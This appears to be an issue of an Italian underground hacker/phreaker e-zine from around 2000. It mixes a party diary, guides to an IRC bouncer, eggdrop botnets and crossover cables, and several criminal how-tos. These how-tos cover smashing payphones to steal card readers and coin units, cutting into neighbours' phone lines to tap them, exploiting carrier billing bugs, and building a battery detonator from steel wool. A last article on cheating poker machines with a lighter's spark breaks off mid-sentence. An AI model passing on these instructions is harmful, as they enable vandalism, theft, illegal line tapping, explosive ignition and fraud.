dopo una accurata discussione su star trek si turnicava/arrotava verso la casa degli HDE. Io mi sono arrischiato ad andare in macchina con nonex che non guida affatto male e ce se fermava a fa benzina con i trucchi di harlok (che rulez siempre..ma xche' non 6 venuto b.i.!!!! :(( ). Una volta a casa di adry&V56 si e' addato al canale ;) il mitico (che ci sta troppppppo dentro!!!) Krige che se lo conosci te fa mori' dalle risate se non lo conoscetete...be...vergognatevi :P La nottata e' andata avanti pian piano mentre eravamo tutti in chat ma a gruppi xche' va be che qui di pc ce ne so ma cmq e' sempre na casa mica un castello ;) Alle 4 di mattina non so dove non so come non so quando e non so nemmeno perche' abbiamo abbandonato i nostri nick e i ns chan (ciao #caccaaaaaaaaaaaaaaaaaaaaaaaaaaa) x spostarci su rotte quali #troie #lesbiche #gay #sesso e abbiamo cominciato a ridere x un tot di tempo equivalente alla durata delle query con casalingue incallite e maschi in cerca di donne ideali ;) Si sono profilati i seguenti profili: 1) ti querano dicendo posso parlarti? x poi comincia... 2) ti querano dicendo posso scoparti? x poi continua... 3) persone senza speranza che prima che tu possa dire ciao hanno scritto 7 righe di porcate varie che ben immaginate (vero AsYn? qui al mio fianco che legge :P) Dopo sbellicamenti vari e discorsi sul cyber sex ce ne siamo annati a letto o bel posto vinto/assegnato/guadagnato /sudato alle 7 del mattino dopo una query adry-n0bo da pauraaaaaaaaaaaaaaaa... 5 GIORNO (MERCOLEDI' 19/04/2K): Ovvero la mattina in cui si presento A-SyNcHr0... alla mattina sharra va al suo ultimo gg di scuola prima delle vacanze e alle 10 si presenta davanti alla porta un tipo che dice di chiamarsi A-SyNcHr0... ci crediamo? Be noi si...dopo il resoconto delle varie peripezie subite dal ns amico linuxiano inside x arrivare fino alla casa di HDE tramite treno, autobus, metro e altri mezzi di fortuna e non... smav gli ha preparato un paninozzo con meta' barattolo gigante di nutella dentro e lui ne era felice :D Abbiamo riportato le videocassette prese a noleggio e alle 2 meno 20 siamo andati a prendere Sharra a scuola e ce ne siamo tornati tutti e 4 trotte rellando verso casa cantando "Andiam Andiam na fame da morti abbiam..." Ebbene cari amici dovete sapere che l'autore di questo articolo e' talmente imbottito di alcool e droghe moooooooooooolto leggere :P (siete pazzi sto scherzando tutti sanno che sono contro le droghe io!) che una volta arrivato a questo punto si e' completamente dimenticato di che era successo, dove era successo e come quindi...chiedete agli altri se li conoscete se si ricordano :D Byezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz da N0bodY88-ooo ۰۰۰۰۰۰۰۰۰۰۰۰ ۲۰۰۰۲۰۰۲۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ UN PO' DI NOVITAAAAAAAAAAAAA' ٺ ͼ Benissimo....allora disclaimer del mio piselluzzo : Non mi ritengo responsabile di quello che c'e' scritto in sto azzo di articolo...tutto quello che scrivo e' a scopo puramente informativo...ciucciatemela a lungo.. ect ect....puttanate varie... IMPORTANTE: TUTTO QUELLO CHE SCRIVO IN QUESTO ARTICOLO NON L'HO MAI ASSOLUTAMENTE PROVATO. NON MI VENITE A ROMPERE MAGISTRATI O CARRAMBA DI MERDA...VOI DATO CHE AVETE IL CERVELLO RISTRETTO DOVETE PRENDERE TUTTO CIO' CHE DICO COME PURE CAXXATE...E MI SONO TESTIMONI I MIEI AMICI NEWBIE. SUKATE. This Art. IsssssS Ded To :-La mia Killer preferita...Ale :* -Il mio Legion che mentre scrivo scanna e scanna...incessantemente uaz uaz...hihih..(e non trova un cazz....porc') ThIs ArT iS Vs DeeeeD T0 : Nin zo proprio...e' parecchio che qualcuno non mi sta sulle palle in maniera forte..c'e' solo una persona che veramente odio...ma lui lo sa benissimo...non c'e' bisogno che lo scriva ogni volta. Merda e'...e per sempre sara'. Benissimo.....e' da parecchio che non si sente qualkosa di veramente nuovo.....la Telecum e' sempre + allerta ect ect.. insomma....la vita e' sempre + difficile per i phreaker italiani o per gli aspiranti tali :(( Allora...l'articolo sara' diviso in 2 parti una nella quale descrivero' i punti deboli di una cabina...nell'altra invece un paio di cosette che ho scoperto.... Parte 1 BruTaL AsSauLt !!! Benissimo....allora se volete far danno...beh...penso sappiate gia' cosa fare...puttanate varie del tipo...cornetta portata a casa...o anche...nin zo...spakkare il display...o bruciare le cinghie del lettore di schede con della benzina inniettata nella fessura con una siringa... Pero'....sto articolo e' un po' diverso...perche' non vi spieghero' come far danni....ma dove colpire e come una cabina ed una centralina per poterla aprire e trarne fuori qualkosa di utile. La nostra beneamata cabina telecum puo' sembrare una bella cassaforte...ma in realta'...lo e' ! (porco zio)...cmq... non vi fate troppi problemi...alla fine dell'atricolo riuscirete ad aprirne una....o almeno saprete come fare :Pp **Lettore schede** Il lettore di schede e il pezzo affiancato alla vera e propria cabina sono sicuramente il pezzo + fragile di tutti. La lamina di ferro con cui e' fatto il pezzo in cui e' incastrato il lettore e' poco spessa..diciamo...+ o meno...3-4mm e con un martellone e' mooooolto facile riuscire a piegare la parte di sopra ||||| ______ colpite qui' || O_ ____ /_____/| / | _||____| | === -||__/_ |___| \\ |-_----|/___/| | \ /\\ || | _ | -- || |----\ / \\ || ||.|| __ || | \ \/ / || ||_||____|/ | \ / ||_| _ || | \___/ |___|_||/ | | | | | | | | ASCII by Dark_elf La mascherina del lettore verra' in avanti per l'urto e la lamina superiore si pieghera'....facile ora sradicare la mascherina ormai non + ancorata...ed estrarre il lettore che e' semplicemente appoggiato all'interno del contenitore. Il lettore e' perfettamente integro e l'operazione (ve lo assicuro) non dura + di una 30ina di secondi. Ora dovrete solo sfilarlo e staccare un cavetto posto sulla sinistra del lettore che lo collega al rotor tramite un buchino. Uaz Uaz...lettore integrissimo a casa.......hihihi ***Rotor*** Bene beneeee......qui' la cosa si fa + difficile e + lunga... se siete bravi con le serrature provate a forzare quella che e' posta sulla destra....ho visto un tipo che in 15 min me ne ha aperte 2....poooorc....vabbe'....era allenato con i motorini e le porte di casa....(azz...bella gente che conosce DantuZZo..OH!..fa sempre comodo conoscere gente cosi' :) ) Se invece non ve la cavate bene con le serrature...beh.... passate ai metodi drastici...sempre martellone... non dovete + colpire sulla parte superiore....bensi' sulla mascherina stessa..fino a distruggerla completamente... operazione che dura dai 3 ai 4 min....anche troppo tempo... ve lo assicuro!. Al termine dell'attacco...levata la scorza potrete tranquillamente estrarre il rotor con delicatezza (solo appoggiato) integro anche questo...sempre se non lo avrete distrutto con le martellate... proprio per prevenire cio' vi consiglio di dare le martellatone non al centro...ma sugli spigoli..dove il rotor vero e proprio non c'e', ed in oltre la scorza e' meno dura. Parte 2 Un po' di novita' *Incominciamo col parlare delle cabine.....benissimo....ogni cabina , come ben saprete, ha un suo numero di telefono a cui risponde. Questo numero di telefono non compare quando si chiama su di un telefonino o altro affare...poiche' come standard non e' abilitato l'invio del numba....pero' questo numero c'e' scritto....e per la precisione e' sempre scritto all'interno della cabina, di solito con un pennarello...o sul retro della mascherina o sul rotor stesso. Ho gia' raccolto 3 o 4 numeri di telefono di cabine...ma per ovvie ragioni non li posso distribuire in rete :((( (sorry PhreakerZ!) P.S. la cabina non e' dotata di suoneria...ma se alzate la cornetta risponderete :))) *Altra cosetta che ho scoperto e' quella che gli operai della telecum, almeno dalle mie parti, sono cosi' pigri...o non so che altro... che non chiudono una buona parte delle centraline....sopratutto quelle che si trovano nei portoni o appena fuori da un palazzo... BASTARDI ! vi dimenticate di chiudere la mia centralina ?? e se uno come me usufruisce della mia linea ?? sfalzini schifosi !!! *Terza cosa.....la Wind....beh...compagnia nuova..non ha avuto ancora il tempo di organizzarsi per bene....in alcune aree del leccese infatti appoggiandosi a Tin non si pagavano le telefonate....con qualsiasi cell. e verso qualsiasi cell o casa. *Dulcis in Fundo....un bel bug della Wind....tutte le chiamate che non vengono inoltrare nel giro di 20 sec. non vengono addebitate....quindi provate e riprovate finche' il primo squillo non si sente solo dopo 20 sec. !!!!! UAZZZZzzzzzzz uAzzzzzz Che gooooooodoooooo.......vabbuo'....alla proxima...e spero che in questo numba riesca ad includere le foto di un rotor e di un lettore di schede....speriamo beneeeeeee........ !!!!! byeZ byeZ Durante Aligh|eRonE.....08V|0U5: 54|NT 59|R|T5 !!! :PPpp ************************************* *** Phreacking Assault by [RequieM] *** ************************************* /* nulla di nuovo dall'underground ... */ /* solo una considerazione spassionata */ /* non aprire una Centra se c'e' il cavo */ L'ultima era la piu' sensata ... "Non aprire una centralina se c'e' il cavo" Pare scontato ma non lo e' anche perche' magari e' da 10 anni che lo avete nel vostro giardino e non sapevate che era del vicino ... Per avere la situazione sotto controllo basta andare al catasto o in una biblioteca rifornita di piantine dal comune (ce n'e' 1a in ogni regione) . Avuto il materiale che vi interessa ("impianti elettrici e/o idrici") potete cominciare a pensare dove potrebbe passare il fascio di cavi piu' vicino a casa vostra ...dove l'avreste messo voi al posto loro ecc. ecc. --> secchiello e paletta + tester Bhe questa gia' letta e' la parte piu' bruteforcing dell'articolo passiamo a quella "scontata" . In alcune situazioni i cavi del telefono di un abitazione passano fuori della loro proprieta' (scontato) e magari sono proprio sotto il vostro naso . Le situazioni possono essere molte ma la piu' ricorrente e' quella del "rialzato" . Se la casa e' piu' recente della centralina telefonica il cavo deve per forza essere stato installato successivamente . Ma se il cemento impeversa non e' sempre possibile interrarli e cosi' vengono fatti passare in mezzi tubi di plexiglas giallini (o neri a seconda dello smog ...) aderenti alle pareti . Dentro questi mezzi tubi passano cavi rigorosamente grigi che contengono "i doppini" . - Per attaccarli suggeriamo di (prendendone in esame solo uno) taglarlo di netto - dividere i due doppini dall'involucro spesso circa 2 mm - sfilettare (con sfilettatrice tarata a 1,5 mm) min 1 cm di doppino ad entrambe le estremita' - di riattaccare immediatamente la linea stando attenti a non far toccare i due doppini (andrebbe in occupato) Risultato : Avete una parte di cavo scoperto (che coprirete con nastro adesivo grigio chiaro) per telefonate e/o attacchi "al volo" . Consigliamo di non isolare la linea in ore di punta xche' potrebbero accorgersene e chiamare i tecnici che individuerebbero il punto di rottura del cavo con appositi apparecchi . /* requiem@freemail.it juxwel@hushmail.com */ /* JuxWel&[RequieM] */ ۰۰۰ ۰۰۰۰ ۰۰۰ ۰۰۰۰ ۰۰۰۰ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ MUH : + O - UN IRC BOUNCER ////////////////////////////////////////////////////////////////////////////// Avete mai notato molte persone in irc sempre online e away , che magari parlano solo per 5 minuti al giorno ...... bhe le ipotesi sono due : - non ha problemi di bolletta :)) - usa muh Cosa e' muh? Muh e' un irc bouncer che ci lascia il nick in irc nei vari channel dove siamo anche quando ci disconnettiamo e logga i vari messaggi diretti a noi ( query e simili ... ) . Cosa e' un irc bouncer ? Un irc bouncer non e' altro che una specie di "porta" dalla quale passiamo per mascherare il nostro ip in irc. La "porta" e' in questo caso la nostra bella shelluccia dove abbiamo installato il bouncer e che ci ridirigera' in irc. Ecco un semplice schemino riassuntivo e spero esplicativo NOi ------> Shell dove mettiamo il Muh ---------> Irc Cosi' in irc non vedranno il nostro ip ma ....... bhe indovinate ^_^ Come detto prima il muh ha due funzioni : - quella di irc buoncer , quindi non mostra il nostro vero ip e correlati in irc - lascia il nostro nick online anche quando siete disconnessi Quando vi riconnetterete potrete tranquillamente leggervi i vostri log e chattare tranquillamente col vostro nickname. Ora passiamo alla fase operativa : installiamo il nostro bnc ...... Avete bisogno ovviamente di due cosucce : - una shell ( le free di solito non li permettono cmq se siete fortunati ne trovate ..... oppure ........... ) - conoscenze dei comandi base di linux Ecco qui pochi semplici passi per installare questo fantastico Irc Bouncer. 1. mettete il file allegato a questo numero di NewBye nella vostra home dir per esempio. Ora dobbiamo trasformare il file muh.tar.gz in muh.tar per poi aprirlo. Digitiamo semplicemente un bel "gunzip muh.tar.gz" e otterremo il nostro bel puntotar. 2. Ora dobbiamo aprire il tar e quindi digitiamo "tar xvf muh.tar" Vedrete tutti i file estratti e aspettate che linux faccia il suo dovere 3. Ora vedremo una nuova bella dir chiamata /muh2.04 Entriamo in questa directory e procediamo all'installazione Digitiamo "./configure" e appena finito "make" Appena ha finito di fare tutto un bel "make install" installera' il nostro Irc Bouncer. 4. Usciamo da questa directory e ovviamente vi ritroverete nella vostra home dir Noterete due nuove directory /.muh e /muh -----> CONFIGURIAMOLO <----- Andiamo di corsa ( o come cavolo vi pare :) ) nella directory /.muh e in questa ci sono tre file : -> log = logga tutti i tentativi di connettersi quando si avvia il muh -> messages = per ora lasciamolo stare -> muhrc = IL FILE DI CONFIGURAZIONEEEEEEEEEEE Ok : editiamo " muhrc " e cominciamo a settarci il nostro bel irc bouncer nuovo di zecca. Ci sono diversi settaggi e molto semplici. dopo il campo nick dobbiamo mettere il nick che vogliamo avere in irc e quindi cancelliamo quello che ha messo il programma di default "muuh" I campi sono + o - cosi': *************** nick muuh eccolo qui il nick da sostituire realname John Doe metteteci un nome qualsiasi username muh mettete anche qui il nick usato nel primo campo listenport 9999 lasciate cosi' password ziptetr ( o simili ) questa e' la password che vi permettera' di usare il muh e dargli i comandi anche da mirc quando siete connessi server irc.foo.bar:6666 qui mettete il server irc a cui volete connettervi e al posto di 6666 mettete 6667 server localhostetc.etc. cancellatelo *************** tutto il resto lo lasciamo intatto. Abbiamo finalmente settato il nosto muh. Ora avviamolo. Andiamo nella directory /muh e avviamo il bnc digitanto "muh". Benissimo Abbiamo settato e avviato il nostro muh. E ora come facciamo a sfruttarlo ? Molto semplice : andiamo nel nostro pc e avviamo il client che usiamo per connetterci a IRC. La procedura la evito di scrivere, basta che leggete i docs che trovate nelle varie dir....cmq di solito basta connettersi direttamente col client irc alla shell ......... ....ora connettiamoci e la nostra connessione verra' ridiretta verso il server irc che avete scelto nella configurazione del muh. Ora anche quando vi disconnetterete il vostro nick restera' in irc e tutti i messaggi per voi ( query o altro ) verranno loggati nella dir /.muh nel file MESSAGES della vostra shell. N.B : un doc su come connettersi a questo bnc lo trovate nella dir principale del programma allegato e se avete ancora dei problemi provate a guardare fuori qualche sito e di sicure troverete qualche help. Un'altra cosa molto interessante: oltre che restare online , qualunque persona vi fara' un /whois non vedra' + il vostro host / ip e company ( cioe' per esempio ciaociao@liberx-pv-etc.etc. ) ma quelli del server che ospita la vostra shell. Spero di essermi spiegato decentemente e ora ....... DISCLAMER : io non ho scritto niente, non ho detto niente, non ho visto niente. non c'ero e se c'ero cazzeggiavo ...... Quindi : se qualcuno entra in un server irc dove non si possono usare bnc o company lo fa lo stesso con il muh e viene k-lineato non venga a lamentarsi da me Saluti : essendo le 4 di mattina la mia lucidita' non e' un gran che e quindi faccio solo un piccolo elenco di nick N0bodY88 :))) L0rD RigoR MorteM MayhEm |CyRaX| Per commenti o insulti varie mailate pure a : fakefake@freemail.it :o) That's all Fake ͻ Ŀ SE I VOSTRI BOT SI SENTONO SOLI....FATE LA BOTNETTA ٺ ͼ I vostri Bot si sentono soli e sconsolati ? Condividetegli i file e linkate la BoTnETTa! Scusatemi amici..ritengo che la dedica di questo articolo vada ad una sola persona... This Arto is DeDDo to: Alessia..un giorno capirai che ti voglio bene davvero...spero soltanto avvenga il + presto possibile... Indice I Cazzate II Termini usati :) III A che pippa serve una botnet ??? IV Aggiunta e linkaggio dei bot V Uso delle BotFlag |^ <--dovrebbe essere una bandierina...che tristezza VI Condivisione di 2 BotZ I. Cazzate Lo scopo di questo documento e' mostrare a cosa serve una botnet e a cosa puo' essere utile. Comprende anke l'uso delle Botflag e della condivisione di informazioni. Penso dovrebbe essere un mezzo disclaimer....se non lo e'....beh... beccatevelo: Oh....questo documento e' solo a scopo educativo ! miraccomando fate i bravi bimbi....i bot sono vietati su moltissimi server IRC... dai dai...bravi bimbini dello Zio Dantuccio....su' su'...studiate e fate i bravini...Zio Dante non si ritiene responsabile di tutto quello che i bimbini cattivi potranno fare leggendo sta schifezza... nu' nu'....nezzuna rezbonzabilida' !!! II. Termini usati BotNet Una serie di bot multipli connessi insieme. Link E' un termine che individua l'attuale stato di collegamento di un bot comandi: ".link " ".unlink " Hub E' il bot "capo" a cui altri bot denominati "leaf" si linkano Leaf Alla lettera "foglia" e' un bot linkato ad altri bot. Share Termine che si indica per descrivere 2 bot che condividono le stesse informazioni sugli user. Aggressive share. E'il termine usato per descrivere un particolare modo attraverso il quale i bot condividono le informazioni sugli user. I bot settati in aggressive share trasmetteranno agli altri bot le informazioni sugli user che ricevono. Passive share. E'il termine usato per descrivere un particolare modo attraverso il quale i bot condividono le informazioni sugli user. I bot settati in passive share si limiterrano a riceve solamente le informazioni sugli user da un altro bot. Flags Le "Flags" sono in pratica cio' che il bot e' autorizzato o puo' fare. Sono dei particolari settaggi....delle opzioni insomma! :P La particolarita' delle flag e' quella che possono essere globali (+s) o specifiche per un canale (|+s #cacca) Le flag di una botnet possono essere: s Condivisione (aggressive share) p Condivisione (passive share) g Condivisione globale (condivisione di tutti i canali) h Hub (il bot e' auto-linkato) a alternativo (fa le (f)veci dell'hub se non c'e' hihihi) l Leaf :P (bot autorizzato a linkarsi ad altri botZ) r Rejected :( (bot non autorizzato nella net..kattivo !) i Isola (isola la party-line in una botnet) 0-9 user (le flag definite degli user) Comando: ".botattr (.+ [#canale])" oppure (.- [#canale]) porca miseria sono iniziati i Simpsons....fanculo...porco zio... PAUSAAAAAAaaaaaaaaaaaaaaaa............... Adress L'indirizzo fisico, contenente l'host e la porta del bot Esempio. culo.com:3333 Comando: ".chaddr " Relay Il numero della porta di "relay" (collegamento) del bot e' definito del file di configurazione. Potrai anke definirne uno per le connesioni telnet agli altri bot ed un'altra per le comunicazioni di "relay". Connessione di Relay Questa e' una connessione usata per saltare ad un altro bot nelle DCC chat. Comando: ".relay " Porta E' usata per comunicare con gli altri bot e gli utenti..si puo' specificare una porta per la comunicazione con gli utenti ed un altra per le comunicazioni con gli altri botz. III. A che pippa ti serve na BotNet ? ? ? ? Beh...in generale una botnet serve per proteggere il tuo canale con + di un bot alla volta :P P P Dei bot linkati possono condividere informazioni sugli utenti, o usare degli speciali script che permettono di effettuare varie operzioni....ce ne sono certi attraverso i quali si compiono dei TakeOver a dir poco perfetti......hhihihi kattiv kattiv !!! Cmq date uno sguardo alla dir /pub/eggdrop/scripts1.3 in ftp.eggheads.org ......uaz uaz IV. Aggiungere e linkare BotZZZZzzz Benissimo....per linkare uno o + bot per prima cosa avete bisogno di sapere il loro dominio e le porte :PP Allora, facciamo finta che ci sia un bot su cacca.com con la porta 3333 in ascolto ed un altro su culo.com con la porta 4444. Benizzimo...li dobbiamo linkare....azz.....e ora come azz facciamo ? beh....vo' dico iooooooooooo......... Nel primo bot digitiamo ".+bot culo.com:4444" questo solo se il 2 bot e' nello stesso canale del primo e quindi la sua mask verra' automaticamente grabbata....altrimenti dovrete prima fare ".+host". Nel secondo bot dgterete ".+bot cacca.com:3333". Bene bene bene....ora dgtate ".link " nel primo bot, ".link " nel secondo bot. Beh ora si scambieranno le pass....ed avrai GeNeRaTo la tua prima BoTneTTA !!!...dimenticavo....ne puoi aggiungere quanti ne vuoi di BotZ.. na bella botnet...di una 50ina di bot.....hihihihi.....e chi la butta giu' ? U. Uso Delle Bandiere :PPP scherzo....delle FlaGz Beh....sono assolutamente necessarie per far compiere delle funzioni ai vostri BotZzzz. "h" (hub) Il bot contrassegnato come hub si auto-linkera' ogni volta che verra' unlinkato o fatto ripartire...in caso di reboot del server..o caxxate varie... Oh....a propo'....solo un bot potra' avere il +h capi' ? :PPP il capo e' uno....tutti gli altri son nessuno :)) Spiego meglio: tutti i bot "leaf" si linkeranno al capo..."hub" Comando: ".bottattr +h" "a" (alternativo) Il bot contrassegnato come "alternative" non e' quello che va in disco vestito modello pattumiera o non ci va'.....e va in giro vestito alla Che Guevara ! E' semplicemente quello che fa le veci dell'"hub" in caso sparisca o sia impossibile linkarvici. Solo un bot alla volta potra' avere il "+a".... il vice-capo e' uno....tutti gli altri son nessuno :PPP Comando: ".bottattr +a" "l" (leaf....foglia...hihihi) Questa flag assegnata ad un altro bot fara' in modo che il tuo bot unliknera' l'altro se quest'ultimo cerchera' di linkarsi ad un altro. Comando: ".botattr +l" flag "r" reject ---> riggetto _ Un bot settato +r detto anke "poeretto cucciolo abbandonato ed emarginato" non sara' tollerato dalla vostra botnet e sara' slinkato da essa se cerchera' di linkarvici o di linkarsi ad un bot facente parte di essa. comando: ".botattr +r" flag "i" isola Un bottolino con il +i sara' isolato dalla partyline con un altro bot o la relativa botnet. comando: ".botattr +i" flag supplementari "0-9" Este flagz sono definibili dagli utenti indi non sono definite nell'egg vero e proprio. comando: ".botattr +0-9" flag "s" Aggressive shareee,condivisione aggressiva....grrrrr.... :() Il bot con il +s state tranqui di certo non morde e manco brandisce un'alabarda spaziale...semplicemnte cerchera' di comunicare e di sendare agli altri bot i suoi user file :PP comando: ".botattr +s" flag "|s" Beh nulla di cosi' complicato...con questa flag semplicemente definite chan nei quali un bot (settato +s) deve condividere gli user file. comando: ".botattr |s #cacca" flag "|+s" Co' sta flagga selezioni un chan per il quale il bot accettera' dei cambiamenti nel suo userfile da un bot settato +p. comando: ".botattr |+s #cacca" flag "p" Share Pa$$iveLy...Condivision3 pa$$iva :-| Il bottolo/a settato/a +p accettera' il cambiamento dei propri file da user da parte di un altro bottolino. comando: ".botattr +p" flag "g" Condivisione GloBaLeZZzzzz :O Se lo setti ad un tuo bot con flag +s o +p ogni cambiamento su ogni singolo canale verra' trasferito e modificato negli user fileZZzzz comando: ".botattr +g" Beh...oh me so fatto 2 palle grandi come na casoccia...saluti e baci io vi saluto e mi guardo mezzanotte e dintorni...che quel bischero sta intervistando na pischella che e' just na BomBa !....'cci sua.... Rendere comuni gli user file :P Prima di preparare la tua botnet per lo sharing degli user file, devi essere sicuro di aver trasferito e caricato i moduli dello sharing dei filesystem per gli utenti.Devi anke essere sicuro che il canale di cui gli user file devono essere condivisi e' settato con la flag +shared del file di conf. Se ti sei assicurato che tutto cio' sia stato fatto puoi incominciare a preparare la tua botnet. Per prima cosa devi decidere che bot deve essere settato con lo sharing aggressivo (botA) e chi lo sara' passivamente (botB) e ricevera' gli user file. Tutto questo puo' essere fatto dalla console del bot.SAppi pero' che non puoi cambiare le flag del bot se e' linkato indi per cambiarle devi prima slikarlo. Sul BotA: .botattr BotB +s Sul BotB: .botattr BotA +p Indi ora devi decidere se il botA deve condividere gli user file in tutti i chan o solo in alcuni. Per condividere gli user file in tutti i chan: Sul botA: .botattr BotA +g Sul botB: .botattr BotA +g Se non vuoi che il bot condivida gli user file in tuttio i chan ma solo in #cacca bisogna settare le seguenti flag: Sul botA: .botattr BotA |s #cacca Sul botB: .botattr BotA |+s #cacca In questo modo potete aggiungere quanti canali volete. Quando condividete gli user file condividerete anke i ban e gli ignore...escluse le flag settate nei bot. Beh...io avrei concluso, vi assicuro che e' stata una gran bella rottura di ballonzole e che a me delle botnet non me po' frega' de meno...ricordate sempre che un bot che salta in IRC senza un vhost e' semplicemente un dire a tutti: "questo e' l'ip della shell che ho bukato" e vi assicuro che se non avrete patchato il buketto in un paio di giorni ci sara' tanta altra bella gente sul vostro serveruzzo... statv buon bellezz...cia' :) Original by Johoho translation and RewieV by DanTaZZonE :P EEEE EE EEEE EEEEEEEEEEEE EEEEEE EEEEEE EE EE EE EEEEE EEE E EE E EE EE EE EE EE EE EEE EE EE EE EEEEE EEEE EE EEEE EE EE EEEEE EE EE EEEE EE EE EE EEE EEE E EE E EE EE EE EE EE EE EE EEEE EE EE EEEEEEEEE EEEE EEEEE EEEE EE EE EE EE EEEEEE EE EEE EE EEEEE EEE EEE __ ___ _ _______ ____ ____ / |\/ /| |_ ___| __ \ / _ |\ -------------/ |/ / | |_\ \__| _/\/ /\/ / |-------------- --------------/ /| / /| | \ \ | | \\/ /_/ / /------------- /__/ |__/ / |_| \__\|_|\_\|___ / / \__\/\__\/ \_\ \__\__\\_\____\/ THe DeMoN (c) CoMPuTeR'S HeaVen SoCieTy ***************************************************************************** **************************** SoFTWaRe CoLLeCTioN *************************** ***************************************************************************** PRESENTA: Come costruirsi un cavo Cros-over per collegare in rete due pc point to point attraverso un cavo con spinotti RJ45 per schede 10/100 base T. OCCORRENTE: Una radio, non si sa mai.... Se proprio volete fare alla grande, gli spinotti nuovi,il cavo e le pinze "apposta" ( costo approssimativo delle pinze 50.000 ). Un cavo comune per la connessione delle schede ad un HUB un paio di fobici un saldatore del nastro isolante o ancora meglio della guaina termoretraibile. Una bottiglia di Sprite ( Cosa bevono li smanettoni pi estremi? la stessa cosa di queli pi impediti. Ascolta la tua fame, fatti una biondona :) ). Ho cambiato la marca di cicche, dunque un pacchetto di Diana Ultra. Se volete fare come me, prendetevi un bel CD dei Jethro Tull e schiffatevelo a palo. Bene bene bene, ho finito.... Azzo non avevo ancora incominciato come faccio ad aver finito ....? Allora... premetto un'altra cosa: questo cavo puo essere utilizzato per connettere due HUB da 4 6 o 8 porte al fine di ottenerne praticamente uno da 6 10 o 14 porte con le stesse cartatteristiche di velocit: se gli HUB erano da 100 Mbit/s, anche il risultante rimane da 100 Mbit/s. Detto questo vediamo un po' ci che ci interessa realmente per connettere sti due benedetti pc. In una scheda di rete ethernet che utilizza l' RJ45 bisogna sapere che l'uscita dei dati dalla stessa ( TX ) avviene su una linea separata da quella dei dati in entrata ( RX ) percio si rende necessario, essendo le due linee separate fisicamente, fare arrivare i dati provenienti dalla linea TX alla linea RX in modo tale che la seconda scheda li possa ricevere. Nel caso ci siano piu schede ovvio che ci vuole un qualcosa che reindirizzi correttamente il TX di una scheda all' RX di quella corretta ... ecco a cosa serve un HUB. sk1 <====================> HUB <====================>sk2 /\ || || || || \/ sk3 sk1 TX -------------------> HUB ----------X----------> RX sk2 | NO | | SI | V RX sk3 Quando per ci interessa collegare solo due pc l'HUB diviene praticamente inutile, o meglio sprecato. (ricordo che costa sempre attorno alle 200 000 ) Allora possiamo ricorrere al trucco del cavo Cross Over che non centra un cacchio con il crossover delle casse del vostro stereo... Iltrucco sta semplicemente nel dirottare il TX di una scheda sull' RX dell'altra e viceversa, in modo tale che i dati in uscita vadano a finire direttamente in entrata sull' altra scheda. Scheda 1 Scheda 2 TX 1 ==================================================================> RX 2 RX 1 <================================================================== TX 2 Per fare questo basta brutalmente invertire quattro fili ( 2 per il TX e 2 per l'RX ). Per fare cio dovete conoscere la numerazione dei piedini dei connettori RJ45 che vi faccio vedere qui sotto... 1 ______ 8 __| |__ | |||||||| | | |||||||| | | |||||||| | Vista del connettore dal basso | | | | | | | | |____________| __ 1 _| |_ 8 __| |__ | |||||||| | | |||||||| | Vista frontale dello stesso connettore |____________| Ora se vi dico che il TX+ il pin 1, il TX- il pin 2, l'RX+ il pin 3 e l'RX- il pin 6 vi viene in mente nulla... ? Nooooooo allora lasciate perdere .... Sto scherzando :) bhe, semplicemente basta collegare il TX+ con l' RX+ e iL TX- con l'RX- della scheda opposta... gurdate lo schemino qui sotto, dovrebbe delucidarvi. TX + 1 \ / 1 TX + \ / TX - 2 \ / / 2 TX - / / RX + 3 / / \ 3 RX + / \ RX - 6 / \ 6 RX - E gli altri pin ? Vanno collegati con i corrispondenti sull'altra scheda... vedi schema... 4 ----------- 4 5 ----------- 5 7 ----------- 7 8 ----------- 8 Evito di unire i due schemi altrimenti ne uscirebbe un bel casino :) E il grande mistero del cavo per la connessione diretta di due pc con schede di rete Ethernet e cavo con connettori RJ45 finalmente svelato... E con questo arrviamo ai saluti... 1 Ciao a N0bodY88 e 1 grazie di tutto.... e un ciao a tutti voi e occhio a non fottervi le schede ..... Byez to all. INIEZIONE ELETTRONICA II Mi occorre: - Paglietta (Quella palla di striscioline di acciaio usata per scrostare le padelle...) - Batteria - Cavo elettrico fine - Pazienza Iniziamo: Mmmm il principio e' abbastanza stupido, guardatevi il disegno che ci capiamo subito :) Bisogna dosare lunghezza del filamento e voltaggio. Tenete in considerazione che un voltaggio troppo alto brucia il filamento e trobbo basso... Il voltaggio ideale per 3 cm di filamento e' 24V. Fatevi voi i calcoli :-)) Naturalmente il voltaggio potrebbe anche diminuire, ma le probabilita' di fallimento crescono. Disegno (spero efficace) : /----------------------------------" < | /------------------------\0000| < FILAMENTO (+) (-) \ ----" | | CAVI ELETTRICI ---------- | | 0000 = SCHEGGIA DI LEGNO | | e' utile creare un distacco dai due fili mediante una | | < PILA scheggia di legno (o altro), fermare il tutto con nastro | | isolante e infine legare il filamento. (nell' immagine ---------- ho omesso il nastro isolante per chiarezza...) Potrete poi sbizzarrirvi voi su dove mettere il detonatore..... ----- Fine---- --AndThen-- Un saluto a : Ax1s,Fake,N0b0dy88,[RequieM],TheDuke,Ergoline,Zero,debian b-cen,jaMMiNa,NighTiger,Gourry,Java,vaffa,CyberBrown,HtB,... e a chi non'ho nominato :-) Per qualsiasi motivo --> JuxWell@freemail.it Byez all |-|-| Jux*JuxWell ͻ Ŀ QUALCHE CONSIGLIO UTILE SU COME FOTTERE LE MACCHINETTE DEL POKER ٺ ͼ Allora gente sono sicuro che avete letto da qualche parte questo tipo di informazioni, ma sono altrettanto sicuro che non ne avete mai letto come queste, o per lo meno io non ho ancora incontrato questo tipo di info. Le tecniche sono 2 semplicissime ed infallibili, provate io personalmente. Materiale occorrente------------>>>>>>>>> un bel accendi gas elettrico (consiglio di comprarlo dai marocchini) Primo metodo: OK adesso che avete tutto il materiale si lavora, bisogna prima di tutto modificare l'accendi gas in modo da far uscire il cavetto metallico che fa' la scintilla attenzione a non rompere il piccolo che serve a fare la massa; in pratica dovete tagliare la punta di plastica (un bel pezzo). Adesso recatevi dal vostro bar di fiducia e senza farvi vedere inserite il filo di ferro del vostro 